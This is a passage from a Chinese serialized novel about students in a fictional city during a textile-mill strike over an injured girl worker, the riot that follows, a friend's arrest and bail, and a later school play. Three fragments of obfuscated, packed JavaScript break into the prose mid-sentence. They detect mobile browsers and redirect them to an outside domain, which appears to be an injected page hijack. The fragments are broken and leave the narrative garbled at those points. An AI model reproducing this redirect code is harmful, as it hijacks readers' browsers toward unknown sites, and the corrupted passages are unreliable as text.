冬天的南州格外阴冷，不是因为气温很低——甚至没到能下雪的天气，而是水汽搅和着寒冷灌进人的衣服里。 永丰纱厂的晨哨声“呜——”地响了三遍，像冬天的风一样，干冷、长而苦涩，贴着耳骨刮过去。 可厂门前空空荡荡，工人没有动。 灰扑扑的天压得低低的，风从西北角巷口灌进来，穿过铁门缝、厂房的砖墙缝，带着冷水气和陈年棉絮的尘味，吹得人手指发麻。陈蔚青站在马路对面的一棵槐树下，身上的斗篷被风掀起一角，围巾贴着脖子，却总觉得冷是从脚心往骨头缝里钻的。 她从未见过永丰厂门口这样混乱过。 女工们裹着棉布围裙，有人戴着褪色的军绿色手套，有人干脆把破旧的毛线帽反过来套在手上防寒。几个中年妇人蹲在厂门口的砖阶上，鼻头红红的，嘴里吐着白气，一边嚼着冷饭团一边骂：“一到冬天就拖工钱，这年还怎么过！” 孩子的啼哭声从人群中断断续续地传来。 厂门开着一条缝，像张开嘴却不说话的人。 这时——人群中忽然爆出一句尖嗓门的喊声：“今天不进厂！阿妹的手断了，厂里一个屁都不放，我们就坐着，不走了！” 喊话的是个穿深蓝粗布衣的女工，站在一只翻过来的汽油桶上，脚下垫了两块砖。她手里拎着一条灰围巾，在空中一圈一圈甩着，像是在挥旗。 “不给赔偿，别想让我们动机器！” “我们要见东家！沈家不给交代，我们不干了！” “我们也是人！” 陈蔚青一怔，望向那喊话女人脚下的墙角—— 一个穿旧蓝袄的女孩蜷在那里，脸冻得发青，嘴唇干裂，右手被层层纱布包裹着，包布已经被药水和血污染成暗黑色，像一坨褪色的棉花。她的眼睛睁着，却像蒙了一层雾。 她心里一紧，赶忙往人群里挤，鞋底踩在湿冷的青砖上，被泥块绊了一下，差点摔倒。 “罗简！”她喊了一声，终于看见了那张熟悉的侧脸。 罗简披着件藏蓝色粗呢外套，围巾一圈圈缠得很紧，脸冻得泛红，一只手揣在兜里，一只手攥着一张皱巴巴的白纸。她看到蔚青，眼里闪过一丝急促的光。 “蔚青姐！”她拉了她一把，声音压低，“你怎么来了？” “怎么回事？你……你们怎么都在这？” “我哥听说他们要闹工伤赔偿，就拉我一起来。”她指了指不远处一个站在汽油桶边的青年——那是罗炽南，脸色铁青，双臂交叉抱在胸前，身上的棉袄开了线，露出里面破旧的内衬。 “我们认识这个女孩，她平时话不多，但人特别认真。”罗简低声说，声音有点哑，“她刚进厂一个月就出事了，手绞进去的时候，工头还在旁边骂她慢。” “厂里只给了她三块钱，还叫她别来闹事。”罗炽南咬牙，“他们觉得把我们当什么了？” 这时，一道清脆的女声插了进来：“我早上看了现场，就跑回去排版了。” 黎婉芝走了过来，穿着厚厚的呢子斗篷，围巾几乎盖住了半张脸，手上还捏着几张油墨未干的报纸样稿。 “我帮你们写了，写得很直接。”她说，“标题是《纱厂少女断臂真相》，内容包括现场描述、阿妹的口供，还有你们在场的几位工友作证。” “我一会就去女中偷偷印，先印两百张，街头派、茶楼派、码头也派，让大家都知道——你们不是一个人在喊。” 罗炽南斜了她一眼，冷冷地哼了一声：“你印这个干什么？拿来做功课写作示范吗？” 婉芝一下子僵住了。 “我不是那个意思……” “那你什么意思？”罗炽南直视她，“你觉得我们这些人的命，只有你写出来才算数，是不是？” “哥……”罗简轻轻拉了拉他袖子，小声劝，“婉芝姐是真想帮我们。” 罗炽南没说话，眼神依旧不信。 陈蔚青看了看三人，又低声问：“那……沈时砚呢？他……他不是沈家人？他应该能——” “别把他扯进来了。”罗炽南冷笑，“他是只关心他那科学、技术的沈家少爷。他懂什么？” “他也没有那么……”蔚青小声反驳。 “没有那么什么？没有那么活在天上？就算这样他又能说上什么话？”罗炽南看她一眼，“别拿他说事。他来不来，都不会有人赔钱的。” 气氛凝住了几秒。 “可我们也不能什么都不做。”婉芝轻轻开口，像是捡回自己的位置，“我真的想帮你们。我印了报纸，明天之前，整个南州城都会知道这件事——到时候，就不是只有你们在喊了。” 她摊开手里的排印稿，纸页在冷风中微微颤抖，上面用黑体印着标题，字体有点歪，但分外醒目。 罗简接过来看了看，又递给她哥。 罗炽南低头扫了一眼，没有说话。 他终于点了点头。 “试试看。”他说，“要是这稿子真能让他们怕一点……我们就再多喊几句。” 风越吹越紧，厂门后传来几声铁器拖动的闷响，像是有人在里面走动。 陈蔚青缩了缩脖子，把围巾紧了紧。 她没再多说，只是抬头望了一眼厂门上那块漆黑的“永丰纱厂”招牌——木质的边框已经被雨打裂了几道纹，像是纸上泼墨后未干的痕迹。 她转身离开人群，朝另一边巷口走去。 沈家的小书房在西厢，窗子对着一口枯井，四周高墙，冬天里格外阴冷。 沈时砚正在桌边翻一本英文小说，毛呢夹衣随意搭在椅背上，脚边是一只剥了一半皮的橘子。他看到蔚青被仆人领进来，立刻站了起来。 “你怎么来了？”他说，“今早风这么大，外头全是灰。” “我从永丰那边过来。”蔚青说。 沈时墨正窝在窗台上啃花生，一听这话挑了下眉：“你也跑厂门口凑热闹啦？” “不是凑热闹。”她抿了一下嘴唇，“是有人受伤了，事情闹得不小。工人不进厂，报纸也在跟。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516017|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她顿了顿，“我想和你们谈谈。” 兄弟俩交换了个眼神。 “我们也听说了点。”沈时砚把书放下，皱了皱眉，“但现在是父亲在管厂务，老太太身体也不太好，我……我一时也不知道该怎么插手。” “我不是来让你们下决定的。”蔚青声音不高，却有点急，“我只是想知道，这件事你们愿不愿意——尽快去谈一谈。” “赔偿的问题可以慢慢说，可现在人心已经散了，厂门口都快围不下了。婉芝已经在印报纸了，简和炽南也都在现场，气氛很不好……”陈蔚青越说越急。 “什么？”沈时砚眉头一拧，站了起来，“他们也参加了？……怎么都不跟我说一声？” “你要是问他们，他们就会说吗？”沈时墨在一旁慢悠悠地说，嗑花生的手没停，“你在他们眼里是‘沈家少爷’，不是朋友。” 沈时砚怔住了，一时无言。 陈蔚青叹了口气：“我不是在责怪你。我只是想说——他们都急坏了，厂里没人说话，他们真的快撑不住了。” 沈时砚低头想了想，转身一边换外套一边说：“我去看看。” 已是中午，永丰纱厂外面的人越围越多。 冬天的太阳像被水蒸汽包着，照不出一点暖。围在厂门口的人越来越多，有学生、有工人，还有一些本地小报社记者蹲在墙角抽烟做笔记。人声嘈杂，空气里混着锅边热气和铁锈味。 “在那边。”陈蔚青指着门口槐树下。 沈时砚顺着她的目光看过去，就见罗炽南和罗简兄妹正坐在榕树下面，一人抱着一只饭盒，冒着热气。他们围着旧围巾，脸都冻得红红的，像是从灰堆里挖出来的火星。 沈时砚快步走过去，还没站稳就脱口而出：“你们怎么不告诉我？” 罗炽南没抬头，把最后一口饭扒进嘴里，嚼得慢吞吞的，像是在故意拖延。 “告诉你有用吗？” “这是我家的厂，怎么会没用？” “你在家里说得上话？”罗炽南抬起头，盯着他，眼神又冷又倔，“真要说话有用，阿雯那只手怎么就断了？” 沈时砚一噎：“那你想怎么样？你不会真想找你那些黑市的兄弟来打砸机器吧？” 这一句话像点着了火药。 罗炽南“蹭”地站起来，脸上血气一下子涌了上来：“你管得着吗你！” “我当然得管！”沈时砚也急了，“他们不是什么好人，你现在有正经工作，干嘛跟他们搅在一起？” “我跟谁搅关你屁事！”罗炽南声音拔高，“你是怕我真找人来砸了你家的机器，你们家就要亏大钱了！所以就赶紧来拦我？” “不是！”沈时砚瞪大眼睛，情绪脱口而出，“我拿你当朋友，你怎么就——” “好。”罗炽南一字一顿，“你拿我当朋友，我算你够义气。” 他指了指身后还围在门口的工人，声音压下去却更重了：“但我也拿他们当朋友。” “沈少爷，你就别管了。” 18. 谁在喊？谁在听？ 永丰纱厂门前，天还没黑，人已经越来越多了。 阳光被厂房的楼切碎，夕阳渗出血的颜色，映在地砖上的斑驳像被烧过的炭上的火星。厂区前的巷口本是清冷僻静，今日却聚满了人。有人搬来长凳、油桶、废弃木箱，搭了个临时台子；有人拎着脸盆和棉被，喊着“今儿我们就住这儿”；还有茶楼学徒、印报的小工、流动摊贩全都闻风赶来，把一条街堵得水泄不通。 最惹眼的是那份报纸。 今日特别增刊，头版标题用粗体黑字印着：《纱厂少女断臂真相》。副标题是：“谁来为她失去的手负责？” 陈蔚青站在人群外围，目光落在那张纸上，心一点点往下沉。 罗简正站在一张搁在汽油桶上的木板上，朝人群分发报纸。她围着深蓝围巾，嗓音清亮而坚定：“都看看！不是我们在乱说话，是她真的断了手！厂里赔了三块钱，还让她别声张！” “你们不信，可以自己去问！就在城西第七医院，工友阿雯现在还躺在那儿，吃药的钱都是她妹妹借的！” 人群逐渐躁动起来，有人接过报纸念出内容，有人边看边骂“真不是人”，还有人把那份报纸往窗台上一摊，高声读：“‘只因操作缓慢，工头当众呵斥；事故发生后，无人施救，反遭污名’——这还叫厂？” 一个粗嗓的男人举起拳头：“拿命换工钱，他们家早该倒闭！” 沈时砚站在厂门内侧，隔着一道铁栏，脸色不太好看。他本想先观察事态，却没想到报纸传得这么快。 他身边的副厂长低声嘀咕：“再闹下去真得报警了，沈少爷，这事得压一压，老爷什么时候来？” “你们谁给那姑娘批的赔偿的？”他没有回答问题，沉声问道。 副厂长支吾了一下：“这……是按旧例，她不是正式工，临时工出事不入账。” 沈时砚没说话，咬住了后槽牙。 厂外的罗炽南站在墙角，双手抱臂，冷眼旁观。他不拿报纸，也不发声，只是站在那儿，像个沉默的信号。 黎婉芝赶到的时候，脚步快得有些踉跄，她把一捆新印的报纸塞给罗简：“刚印的，再分一点。西市和茶楼那边已经开始传了。” “你怎么又来了？”陈蔚青拉住她，“你爹知道吗？” “我说的是去买书。”婉芝喘着气，脸红得发烫，语速又急又快，“我在西边看到一个男孩，把报纸贴在戏院门口，有人围过去看，还有人拍手说‘这才是报纸’。” 她的眼睛亮得像被阳光戳开了一层雾，“我写的字，真的有人看。”那声音带着一点难掩的、不合时宜的雀跃。 陈蔚青看着她的眼睛，忽然觉得喉咙发紧。她想说“你别太冲动”，也想说“这样做会不会太冒险”，可那些话像潮水涌来，在舌尖打了个转，终究没能说出口。 她忽然有点分不清，婉芝此刻的兴奋，是为阿雯的遭遇，还是为了自己写下的这些字终于得以传开。她那么激动，那么雀跃……这份激动，是对的吗？她想，可这念头也只是轻轻浮起，并没有出口。 “可我不做这些，就天天躲在女中写诗、写那些没用的文章，那才叫出事。”婉芝的声音坚定，带着一种倔强的哑光，“我不怕。” 她刚说完，一声高喊从厂门另一侧爆起：“厂里有人出来了！” 人群一下子涌动，像被丢了火星的干草堆，腾一下燃烧了起来。几秒后，沈时砚出现在厂门口，身后跟着两个厂方管理。 “大家听我说——”他刚开口，声音就被一片嘈杂盖住了。 “你来干嘛？看看断手的女工值不值三块钱？” “道歉！赔钱！” “沈家人出来啦，快跪下认罪！” 沈时砚站在门口，脸色一寸寸冷下去。他抬高声音：“我不是来吵架的，我是来——” “那你说，她那只手怎么办？” 声音从前排传来，是一个裹着黑围巾的青年，高举报纸，用力一挥，白纸在空中划出一道拱线：“你家厂房出了事，现在才来演好人，晚了！” 罗炽南冷冷地看了沈时砚一眼，没说话，只把手从臂间抽出来，缓缓地拍了两下手。 嘭——嘭—— 掌声像响在空罐子里，带着挑衅的节奏。 罗简站在木板上，面色发白，她看了看兄长，又看了看蔚青，喉头动了动，却没说出话。 “沈公子啊，沈公子。”罗炽南往前走了半步，人群给他让出了一条细细的路。他上前盯着沈时砚，声音带着压着火的冷笑，“站在我们对面的时候，可算是有沈家人的样子了吧？” 沈时砚眼神紧了一下，话一出口带着火：“你什么意思？你到底想干什么？” “我叫你别插手。”罗炽南往人群中指了指，“你看清楚了，这不是你家院子，是我们的命。” “我不是想干什么。”沈时砚的声音也拔高，“我是想让你们冷静下来。你们的工友的赔偿我们一定会给！” “她叫阿雯！”罗炽南几乎是吼出来的，目光炽热如火，“你连她的名字都记不住，就别来装样子！” “我不是……”沈时砚张了张嘴，话却像卡在喉咙。 这时，有人从后面喊：“你们知道这个厂以前死过人吗？” 这句话像石头砸进一潭水，四下炸出声音。 “她有名字！” “她不是厂里的螺丝！” “她是人！” “你们还记得吗！”一个粗哑的女声在人群后头喊起来，“去年我哥冬天也是在这厂冻病的！说是‘胃寒’，其实是因为守夜十小时没热水喝——厂里说‘他不是正式工’，一分钱没赔！” 这一句话仿佛扯开了陈年旧伤，立刻有人跟着喊：“前年，我嫂子手指被机器夹断——她也是‘试用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526033|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工’！不给报工伤！” “你们永丰早该倒闭！” “让东家出来说话！” 沈时砚抬起头，嘴唇动了动，却什么也没说出来。 人群开始沸腾。 “那个女孩呢？阿雯在哪？” “是不是已经死了你们才怕了？” 陈蔚青想要往前走：“大家先听我说——阿雯在医院——” 后面的话还没出口，就被人潮吞没。 罗简突然高举那份报纸，站上油桶，拼尽全力喊出：“她不在这儿——她还在医院里，缝了七针，连吃药的钱都自己掏的！” 这一句像火线点燃油桶。 人群炸了。 “还说她是试用工？！” “连人都不见，还想抵赖！” 第一块砖头飞出，砸在铁门上，“当！”一声巨响。 第二块紧随其后，还有破碗、鞋底。 “冲进去！把账给我们算明白！” 保安冲了出来，有人拽下罗简的围巾，试图将她拖下台。 “别碰她！” 罗炽南扑过去，一把扯住那人的胳膊。对方反手一棍，砸在他脸上。 “嘭！” 鲜血飞溅，他单膝跪地，捂住嘴角，血从指缝滴在石板上。 风呜地吹过厂门口，整个世界像在这一刻失去了颜色，只剩下咆哮的声音和正在迸裂的怒火。现场一瞬间安静了。 然后更剧烈的怒吼炸开。人群像一头被逼至绝境的野兽，空气里不是风，是火药味。谁先骂的、谁先推的、谁先扔的砖头，没人能分得清了。每一句喊声都像是压死骆驼的最后一根草，但那根草在四面八方同时落下。 “打人啦——打工人啦！” “他们先动手的！” “冲进去，把他们拽出来说清楚！” 铁门边的保安被推得踉跄后退，一块木板不知从哪飞来，砸中了厂墙的窗框，玻璃“哗啦”一声碎了满地。 陈蔚青拼命想冲过去拉住罗简，却被乱流的人潮冲得后退一步。 她听见有人喊她的名字—— “蔚青姐！”那声音夹在风里，却带着哭腔，“快躲开！” 她没反应过来，一只手臂忽然从人群里挥过来，重重撞在她的肩头。 陈蔚青整个身子一个踉跄，被挤得失去平衡，重重撞向旁边的砖柱，头一下磕在柱子上，额角擦破了，眼前一阵发黑。 那一刻，她躺在地上，只觉得身上滚烫，脑子却冷得像被冬夜的水灌进来。她摔在地上，膝盖一阵剧痛，像有铁钉从皮肉钉进骨头。人声就在她耳边炸开，她却在水底，什么也听不清了。她挣扎着想坐起来，一只手刚撑地，就滑倒，掌心全是尘土和血。 厂门上方那一行金漆字，在暮色里像燃烧的铁钉，一字一字砸进她心里： “永丰纱厂。” 19. 英雄 “如果没有人理解你，你还会坚持下去吗？” “如果做这件事会让你伤害到别人吗？” “如果你失败了，你还会承认它是对的吗？” “吃饭就吃饭，念念叨叨地干什么？”母亲一句话把陈蔚青神游的思想拉回现实，她才反应过来，她已经念那几个问题念了好久了，她回过神来，头上的伤口隐隐作痛。 “母亲，永丰纱厂在闹罢工。” 她说这句话的时候，语调不高，却仿佛一滴热水落在冰面上，轻轻“咝”了一声，转眼就没了痕迹。 唐敬敬抬头看了她一眼，语气不咸不淡：“我知道。” “您早就知道吗？” “今早沈家来送账的时候顺口提了两句，说厂门口聚了不少人。”她夹了一筷子炒菠菜，颜色已经暗了下去，“这是沈家的事。” “但……婉芝她——” “她不是我们陈家的人，她只是你朋友。”母亲慢慢把饭送入口中，咀嚼得不紧不慢，“你要小心，这姑娘在做的事很危险。” 蔚青想反驳，却忽然说不出话来。 饭桌上静了下来，只有风从窗缝灌进来，吹得桌上的烛火轻轻晃了一下。 就在这时，门外传来脚步声。 女仆匆匆走进来，在母亲耳边低声说了几句，又迟疑地看向蔚青。 母亲放下筷子，皱了下眉：“有什么话就说吧。” 女仆小心地开口：“外头来了一个穿着工装的姑娘，看着年纪不大，长得有点像洋人。” 罗简。除了她还能是谁？蔚青心里猛地一紧。 她顿了一下，“说是要我来跟小姐说：黎婉芝被抓进警局了。” 屋子里的气温像是突然低了三度。汤碗还在冒热气，蔚青的手却冷了。 她几乎是立刻站起身：“我去看看。” “坐下。”母亲没有抬眼，语气却陡然变冷，“你现在出去干什么？你头上那伤还不够丢人？而且让人看见了，以为我们陈家也掺和了这场闹剧。” “她是我的朋友。” “她父亲是女校校长，母亲又是南京姚家的人，那点事顶多关一晚就会放出来。你急什么？” 蔚青站在原地，手指轻轻颤着。她想坐下，因为她一直是这样做的——母亲已经做了决定的东西，她就这样听着，就好了，一切都是最好的，最理智，最合理的。 可她脑海中忽然响起那三道她自己写下的问题——那台机器会提出的问题： “如果没有人理解你，你还会坚持下去吗？” 会。 “做这件事会让你伤害到别人吗？” 我不知道。 “如果你失败了，你还会承认它是对的吗？” 会。 她低声开口，声音发紧，却一字一句清楚得如刀尖划过纸面：“对不起，妈妈。” 她绕过餐桌，步子越来越快，几乎是小跑着穿过走廊。 风从门缝灌进来，院子里还未熄灯，夜色像刚刚睁开眼。她拉开门，冷气扑面而来。 她没有回头，只是披上斗篷，一把推开朱红大门，奔入这座城真正寒冷的夜里。 陈蔚青几乎是一路跑着穿过半条南州城。 斗篷在风中猎猎作响，她的靴跟在青石板路上踩出细碎的“嗒嗒”声，像她的心跳，一声比一声重。街角的油灯早已熄了大半，只有几家还没关铺子的糖水店还亮着昏黄的灯，照得纸窗上映出她急促的影子。 她一路穿过巷口、药房、小饭馆的后墙，直到熟悉的那道墨漆木门出现在眼前。 她深吸一口气，抬手敲门时指节发抖，敲了三声。 过了一会儿，屋里烛光晃了一下，木门“咯吱”一声打开。 梁悯初披着一件藏青色的斗篷，鬓角微湿，像是刚刚洗了脸。他手里还拿着一本没来得及合上的《英文文摘》，指间压着一张写了一半的校对纸。他看到门外的蔚青，眉心轻轻皱起：“怎么——” “黎婉芝被抓进警局了。”她一句话冲出口，像是憋了很久的热气，带着水汽，也带着惊慌，“您能不能保她出来？” 屋里的风像是一下子都收住了。 “她肯定是不想让她父母知道的！所以才让阿简来找我！我母亲原本都不允许我出来，所以我……”她着急地解释着，说出口的话都颠三倒四的，“所以我才来找您…我已经没有别人可以找了…我不是…” 梁悯初楞了一瞬，什么都没说，只转身走进屋里。烛光摇曳着照出他背影微僵的轮廓。 他走到写字桌前，打开最下层的抽屉，取出一个灰布包，小心地解开绳结。蔚青站在门口，犹豫了一下才轻轻踏进屋内。 灰布包里，是一个皮质的钱袋，鼓鼓的。梁悯初没数，摸了摸份量，便系紧收口，把它塞进斗篷内侧。 “您……您要带这个做什么？”蔚青小声问，声音发紧，却压得极轻。 他低着头，一边扣紧扣子一边回答：“我也不确定。但我有不好的预感。” 他说这话的时候没抬头，嗓音低低的，却比任何夜风都要冷。 他们并肩穿过夜巷时，谁都没说话。 月亮躲在云后，街道陷入一种淡淡的灰青色里，只有远远的警署门楼还亮着灯，一盏气灯吊在屋檐下，冷冷地烧着，像是为等待什么人而设。 陈蔚青看了一眼身边的梁老师。 他走路的步伐很稳，像每一步都踩在尺子上，手藏在斗篷里，眼神却时不时朝前扫一眼，像在衡量可能遇到的每一种状况。 他们走得很快，但风却像故意拖慢了时间，吹得她的眼睛微微发涩。 陈蔚青站在警署门前，她是第一次站在这里，气灯照着砖缝上的水渍，像一片片凝固的雾。门廊上贴着告示，有几张纸角已经卷起，落下的水珠打在地上，轻轻“噗嗤”一声。 梁悯初出示了好久不用的名片，简单地介绍了一下自己，警官拿在手上看了两眼，眼神扫过他，又扫了扫蔚青，眼里有一点迟疑的笑意。 “是找黎婉芝？” “是。” “姑娘是学生？怎么这时候还不回家？” 蔚青张了张嘴，还没来得及说话，梁悯初已经轻声答：“我学生，家里人托我替他们来一趟。” 那警官点了点头，翻了翻登记本，慢悠悠地说：“其实也不是什么大事，散发了一些未经审核的小报嘛，写得还挺激烈，说什么‘沉默是共犯’‘女工不是机器’……学生嘛，血气方刚，我们也理解。” 他说着，又压低了声音：“不过沈家也来人了，说这文章煽动、传播不当思想，还鼓动学生情绪，让我们——适当管一管。” 沈家人把她抓了？蔚青心头一紧，然后心一点点往下沉。 “你们……打她了吗？”她的声音极轻，几乎被门口的风吹散。 那警官笑了笑：“那不会。她是黎校长的女儿，我们自然晓得。” “不过嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526034|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”他语调一顿，露出点商量的语气，“事情也不能就这么放了，要放，也得按规矩来。现在放人，走交保——十块银圆。” 他看向梁悯初，半句不多。 梁悯初没有犹豫，从斗篷里掏出那只皮钱袋，解开绳结，抓了一把整银元，利落地放在桌上，声音“哐当”一声，很轻，但落得分量十足。 “十块，不用找。” 那警官笑着点点头，像是一笔买卖谈成。 他一挥手，吩咐后头一名穿制服的女学监去带人：“让黎婉芝出来吧。动作快点，别让人等久了。” 不多时，走廊尽头响起了皮鞋踏地的声音。 陈蔚青忽然有点紧张，手指揪住斗篷下摆，往后缩了一寸。 黎婉芝从阴影里走出来时，身上的校服被雨水打湿了一角，头发有些乱，脸色发白，眼神还像没完全从亮灯的房间走出来，有些迷茫。 “婉芝——”蔚青唤了一声，自己也没意识到声线是颤的。 婉芝定住了，看见她。 两人谁都没有上前，先是彼此望了一会儿，像是在确认什么。 然后婉芝走到她跟前，伸出手，像是在外头冻了太久，手指已经发凉。 蔚青张了张嘴，眼圈却先红了。 她的喉头哽着，心跳慢了半拍，像有根什么细线从心底绷起，终于“啪”一声断掉了。 泪就那么滑下来，一滴一滴，不带声响，也没有抽噎，只是止不住地往下掉。 黎婉芝怔了一下，随即轻轻抱住她，带着点被风吹过的味道，像是夜里的药草香。 “欸，怎么了……”她轻声笑了一下，把她往怀里靠，“不是我被抓吗？怎么你哭了？” “我还好好在这呢。”她语气轻快得像平时考试迟到了三分钟，“只是头有点晕，肚子有点饿而已。反而是你，下午摔的还痛吗？” 蔚青没说话，没回答，只是抓着她的袖子，用额头蹭了一下她的肩膀。 她觉得肩膀上那一点温度，比屋檐下的灯还亮。 梁悯初站在一旁，没有出声，只轻轻咳了一下，转身道：“我们走吧，别在这儿久站了。” 他们一起走出警署，街口的气灯还亮着，夜风吹在脸上像刚削过的冰块，带着种不真实的静。 出了门，婉芝吸了吸鼻子，扭头看梁老师：“梁老师？谢谢你救了我。我知道你花了钱，多少钱？我会把钱还给你的。” 梁悯初摇头：“是你朋友救你。” 婉芝转头看向蔚青，嘴角动了动，像是想开个玩笑，可眼里那点闪烁的水光还是藏不住。 走到巷口的时候，她忽然停住了。 “其实我也不知道我在干嘛。”她说，“印报的时候我以为自己很了不起。” “报纸出来了，这是第一次有那么多人看我的报纸，我真的很兴奋。“ “可……我帮不了任何人，我自己还被抓了。”黎婉芝愤愤地说，“我不知道我为什么在兴奋，因为很多人看我的报纸吗？可女工阿雯的手断了啊，我因为她断了手而兴奋吗？“ 她没看别人，只是望着街那头还没熄的光：“写报纸有用吗？我们谁也不是英雄。” 她语气很轻，却像把一页纸扔进火里，烧得特别快。 “那就为了不要后悔吧。“梁悯初的声音低低的，说了三人今晚最后一句话。 陈蔚青本想问这是什么意思，但她没有开口，只是沉默地和两人一起走在夜色里。 20. 春日 永丰纱厂的厂门又重新打开了。 晨哨再一次响起时，那熟悉的“呜——呜——呜”声拉得比往常还长一点，像是某种试图掩盖沉默的声音。厂里贴出了一张新通告，说“将再议赔偿事宜”“号召工人安心复工”“呼吁理性、避免过激言行”。 女工们站在布告前看了几眼，没有说话。有的走进去，有的站了很久，才低头拎起饭盒往车间去。 据说沈家最后真的赔钱了，但为此开除了好几个工人。 不是一个公平的结果，但天冷了，家里等着她们带米和煤饼回去过年。于是他们还是走进了厂房，就像什么也没发生过。 陈家的饭桌恢复了往常的节奏。 母亲话不多，却似乎更留神了些。她开始亲自整理蔚青的衣箱，说是换季，却把那件她最常穿出去的斗篷压到了最底下；她请了新的裁缝来，给她量了几身衣裳，说是备着过年穿，颜色却比往常更沉稳了几分。 蔚青什么都没说，只是晚上回房时，总觉得窗纸贴得更严了，风不进来，光也进不来。 她开始失眠。 睡前看书，看不进；练字，一页写满了“信”、“义”、“道”、“悔”，最后又撕掉。她像是站在一个已经退了潮的岸边，望着地上一块块裸露出来的礁石，不知道要不要继续走。 那个锅炉房里，陈蔚青和沈时砚还是坐在原来的地方，做着原来的事情，只是很少说话了。罗简坐在窗边，常常抱着一本书，不知道她是看了还是没看。炽南依旧每天都来得早，却几乎不开口说话，有时候大家走了，他站在窗边望外头的夜色，很久都不动。黎婉芝，也许是唯一还像以前一样热情的人，但她不再提“报纸”的事了。 就这样沉默的日子持续了好几个星期，终于被黎婉芝给打破了。 就像融化了一块冻结的冰一样，大家又慢慢地流动了起来。像春天来前，第一颗种子发芽的声音。 黎婉芝像是突然拎着一整篓春天闯进来的。 “喂——喂！我要宣布一件大事！”她气喘吁吁地推门进来，手里挥着一张皱巴巴的通知单，像打仗胜利回来似的，“我们女中下个月校庆，要搞文艺汇演啦！” 没人搭话。 她环顾四周，故作正经地咳了一声：“我提议——不，是我决定，我们要演一出莎士比亚的剧！” “啥？”罗炽南眉毛抬起来，“莎什么？” “莎士比亚。”她郑重其事地说，“世界文学巨匠。演的是——爱情、伪装、误会、揭晓！精彩极了！” 她拍拍那张通知纸：“我爸说了，这次可以邀请朋友一起参与！剧目我已经选好了——《第十二夜》！” “《第十二夜》……不够人吧？”沈时砚简单地回想了一下剧情，问道。 “所以要时墨一起来啊！”黎婉芝叉着腰，“黎大编剧已经把剧本改成了六人演的了！” “行…黎大编剧~你以为他是我啊，他可是大忙人。” “去你的，17岁的孩子能有多忙？别管，时砚你给我把他叫过来，就说黎婉芝表姐叫他。” “行行行……这个时候摆上表姐的架子了……” 蔚青放下手里的纸笔：“我们……现在要演戏？” “对啊。”婉芝一边点头一边把通知拍到桌上，“你们看看，现在气氛多闷啊，锅炉房都快变棺材了。我们需要一点——”她顿了顿，仿佛在酝酿一个足够煽情的词，“……文学性的浪漫逃亡！” “等下，这个戏是讲什么的呢？”罗炽南打断了黎婉芝的浪漫宣言。 “很好！终于有人问我了！”黎婉芝眼睛一亮，一巴掌拍在通知纸上，像个要讲故事的小贩。 “听好了——《第十二夜》，莎士比亚最可爱的喜剧，没有之一！” 她一边说一边在桌面上胡乱比划：“话说，男女主一开始就在海上失散，女主维奥拉以为她双胞胎哥哥死了，就女扮男装改名‘塞萨里奥’，投奔了奥西诺公爵家做小跟班。” “然后奥西诺喜欢上了邻家的美丽小姐奥莉维娅，派维奥拉——也就是那个女扮男装的女孩——去传情。”婉芝故意拉长了声音，“结果你们猜怎么着？” “奥莉维娅喜欢上了维奥拉。”罗简脱口而出。 “没错！”婉芝笑得得意，“她以为是个小帅哥，结果喜欢上的是个女孩！” “这不女驸马吗？”罗炽南在一边咕哝。 “唉！你说对了！是有点像！”婉芝一拍桌子，眼睛亮亮地望着他，“你怎么那么懂？” “我就是懂点。”罗炽南摊摊手，“女扮男装，被误认、送情书、被爱上、最后认亲…我以前混……呃，卖艺的时候还唱过。” “然后，女扮男装的维奥拉因为奥西诺公爵的深情而爱上了他。“黎婉芝继续说，“但她不能暴露自己的身份，只能把这份感情藏在心里。但没想到的是维奥拉的双胞胎哥哥塞巴斯蒂安根本没死，他也来到这里，跟奥莉维娅相爱，然后结婚。” “结果啊后来！奥利维亚把男装的维奥拉认成了哥哥——也就是她是新婚丈夫，但维奥拉什么都不知道，奥莉维娅觉得他简直是薄情寡义！他们就闹起来了。” “……行吧。”罗简问，“那最后结局呢？误会都解开了吗？” “解开啦！”婉芝抬手比了个胜利手势，“双胞胎团聚，公爵娶维奥拉，奥莉维娅嫁哥哥，玛丽娅和小丑看尽一场戏，皆！大！欢！喜！” “你疯了。”罗简嘟囔了一句，“我可不演。” “你演女仆玛丽娅！你最像了！聪明又嘴毒。”婉芝笑得一脸狡黠。 “哪就那么像……”罗简听了那个形容，没绷住脸色，笑了一下，她那只刚放下的手，却悄悄捏紧了桌角，像在压抑什么刚刚冒出来的雀跃。 “我也不行。”罗炽南皱眉，“我上台会结巴。” “你演塞巴斯蒂安。”黎婉芝说，“台词少，还能耍帅。” 